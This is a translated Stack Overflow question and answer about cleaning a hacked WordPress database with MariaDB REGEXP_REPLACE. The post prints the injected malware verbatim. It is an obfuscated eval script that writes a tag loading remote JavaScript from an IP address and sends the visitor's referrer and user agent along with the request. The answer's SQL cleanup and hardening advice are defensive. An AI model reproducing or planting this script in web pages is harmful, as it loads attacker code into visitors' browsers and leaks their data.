以下代码已插入到我的客户端WordPress数据库的多行中:

<noindex>
    <script id="wpinfo-pst1" type="text/javascript" rel="nofollow">
        eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\o="+3(j.i)+"\'><\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|btssh|var|u0026u|referrer|yatyb||js|php'.split('|'),0,{}))
    </script>
</noindex>

我需要成功地从每个表行中删除<noindex></noindex>标记及其内部的所有内容。
此查询成功地选择了所有受影响的行(总共15066行):
SELECT *
FROM 'wp_posts'
WHERE REGEXP_REPLACE ('post_content', '<noindex>(.*)</noindex>', '') LIKE '%noindex%'

当我尝试使用类似的UPDATE查询时,返回的结果为零。我当前的查询如下:
UPDATE 'wp_posts'
SET 'post_content' = REGEXP_REPLACE ('post_content', '<noindex>(.*)</noindex>', '')
WHERE 'ID' = 1933;

设置的ID仅用于测试目的。服务器正在运行MariaDB 10.2。任何建议或提示都非常感谢。
使用REGEXP_REPLACE成功更新查询
UPDATE
`wp_posts`
SET
`post_content` = REGEXP_REPLACE (`post_content`, '<noindex>[[:ascii:]]*</noindex>', '');

最佳答案

警告:在应用UPDATE之前,请始终备份数据库。
根据documentation
REGEXP_REPLACE返回字符串主题,并用字符串REPLACE替换所有出现的正则表达式模式。如果未找到匹配项,则按原样返回主题。
您可以尝试:

UPDATE wp_posts
SET post_content = REGEXP_REPLACE (post_content, '<noindex>(.*)</noindex>', '');

如果<noindex>标记之间有新行,则需要调整正则表达式。例如'<noindex>[[:ascii:]]*</noindex>'。详见Regular Expressions Overview
评论:
1)如果您的合法内容使用<noindex>标记,请通过添加违规内容的子字符串来修改regexp。
2)攻击后,最好的做法是清除所有内容,进行干净的安装,并将数据库和文件还原到攻击前的版本。
3)确保你的wordpress版本和所有插件都是最新的。

关于mysql - Maria DB查询选择,然后更新表以删除不需要的HTML和脚本标签,我们在Stack Overflow上找到一个类似的问题:https://stackoverflow.com/questions/56569795/

10-12 23:25